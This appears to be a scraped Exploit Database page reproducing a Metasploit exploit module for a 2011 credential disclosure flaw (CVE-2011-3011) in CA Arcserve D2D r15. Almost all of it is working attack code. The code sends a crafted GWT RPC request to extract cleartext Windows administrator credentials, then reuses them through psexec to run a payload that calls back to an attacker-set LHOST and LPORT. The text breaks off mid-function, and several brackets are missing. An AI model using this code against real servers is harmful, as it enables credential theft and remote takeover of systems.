CA Arcserve D2D – GWT RPC Credential Information Disclosure (Metasploit)

Exploit Database
120 阅读

作者： Metasploit

日期： 2011-07-25
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/41707/

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# This module requires Metasploit: http://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Auxiliary::Report

def initialize(info = {})

super(update_info(info,

'Name' => 'CA Arcserve D2D GWT RPC Credential Information Disclosure',

'Description'=> %q{

This module exploits an information disclosure vulnerability in the CA Arcserve

D2D r15 web server. The information disclosure can be triggered by sending a

specially crafted RPC request to the homepage servlet. This causes CA Arcserve to

disclosure the username and password in cleartext used for authentication. This

username and password pair are Windows credentials with Administrator access.

'Author' =>

[

'bannedit', # metasploit module

'rgod', # original public exploit

'License'=> MSF_LICENSE,

'References' =>

[

[ 'CVE', '2011-3011' ],

[ 'OSVDB', '74162' ],

[ 'EDB', '17574' ]

'DefaultOptions' =>

{

'EXITFUNC' => 'process'

'Privileged' => true,

'Payload'=>

{

'Space'=> 1000,

'BadChars' => "\x00\x0d\x0a"

'Platform' => 'win',

'Targets'=>

[

[ 'Automatic', { } ],

'DisclosureDate' => 'Jul 25 2011',

'DefaultTarget' => 0))

register_options(

[

Opt::RPORT(8014),

], self.class )

end

def report_cred(opts)

service_data = {

address: opts[:ip],

port: opts[:port],

service_name: opts[:service_name],

protocol: 'tcp',

workspace_id: myworkspace_id

}

credential_data = {

module_fullname: fullname,

post_reference_name: self.refname,

private_data: opts[:password],

origin_type: :service,

private_type: :password,

username: opts[:user]

}.merge(service_data)

login_data = {

core: create_credential(credential_data),

status: opts[:status],

last_attempted_at: DateTime.now

}.merge(service_data)

create_credential_login(login_data)

end

def exploit

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")

data= "5|0|4|"

data << "http://#{datastore['RHOST']}:#{datastore['RPORT']}"

data << "/contents/"

data << "|2C6B33BED38F825C48AE73C093241510|"

data << "com.ca.arcflash.ui.client.homepage.HomepageService"

data << "|getLocalHost|1|2|3|4|0|"

cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"

res = send_request_raw({

'uri' => '/contents/service/homepage',

'version' => '1.1',

'method'=> 'POST',

'cookie'=> cookie,

'data'=> data,

'headers' =>

{

'Content-Type'=> "text/x-gwt-rpc; charset=utf-8",

'Content-Length' => data.length

}

}, 5)

if not res

fail_with(Failure::NotFound, 'The server did not respond to our request')

end

resp = res.to_s.split(',')

user_index = resp.index("\"user\"")

pass_index = resp.index("\"password\"")

if user_index.nil? and pass_index.nil?

# Not a vulnerable server (blank user/pass doesn't help us)

fail_with(Failure::NotFound, 'The server did not return credentials')

end

user = resp[user_index+1].gsub(/\"/, "")

pass = ""

if pass_index

pass = resp[pass_index+1].gsub(/\"/, "")

end

srvc = {

:host => datastore['RHOST'],

:port => datastore['RPORT'],

:proto=> 'tcp',

:name => 'http',

:info => res.headers['Server'] || ""

}

report_service(srvc)

if user.nil? or pass.nil?

print_error("Failed to collect the username and password")

return

end

print_good("Collected credentials User: '#{user}' Password: '#{pass}'")

# try psexec on the remote host

psexec = framework.exploits.create("windows/smb/psexec")

psexec.register_parent(self)

psexec.datastore['PAYLOAD'] = self.datastore['PAYLOAD']

if self.datastore['LHOST'] and self.datastore['LPORT']

psexec.datastore['LHOST'] = self.datastore['LHOST']

psexec.datastore['LPORT'] = self.datastore['LPORT']

end

psexec.datastore['RHOST'] = self.datastore['RHOST']

psexec.datastore['DisablePayloadHandler'] = true

psexec.datastore['SMBPass'] = pass

psexec.datastore['SMBUser'] = user

print_status("Attempting to login via windows/smb/psexec")

# this is kind of nasty would be better to split psexec code out to a mixin (on the TODO List)

begin

psexec.exploit_simple(

'LocalInput'=> self.user_input,

'LocalOutput' => self.user_output,

'Payload'=> psexec.datastore['PAYLOAD'],

'RunAsJob' => true

)

rescue

report_cred(

ip: datastore['RHOST'],

port: 445,

service_name: 'smb',

user: user,

password: pass,

status: Metasploit::Model::Login::Status::INCORRECT

)

print_status("Login attempt using windows/smb/psexec failed")

print_status("Credentials have been stored and may be useful for authentication against other services.")

# report the auth